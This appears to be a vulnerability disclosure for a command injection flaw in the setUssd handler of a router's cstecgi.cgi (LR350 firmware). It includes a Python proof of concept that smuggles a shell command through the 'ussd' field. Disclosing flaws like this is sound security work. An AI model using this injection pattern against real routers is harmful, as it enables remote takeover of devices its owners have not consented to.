Hi, we found a command injection vulnerability at **LR350 (**Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

In function setUssd of the file /cgi-bin/cstecgi.cgi, string ussd not checked and passed to doSystem, result in command injection.

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PoC

import requests

url = "<http://192.168.17.220:80/cgi-bin/cstecgi.cgi>"
cookie = {"Cookie":"uid=1234"}
data = {'topicurl' : "setUssd",
"ussd" : '";ls -lh ../ ;"'}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

Impact

Remote code execution

After execute the poc, the ls -lh ../ command is executed

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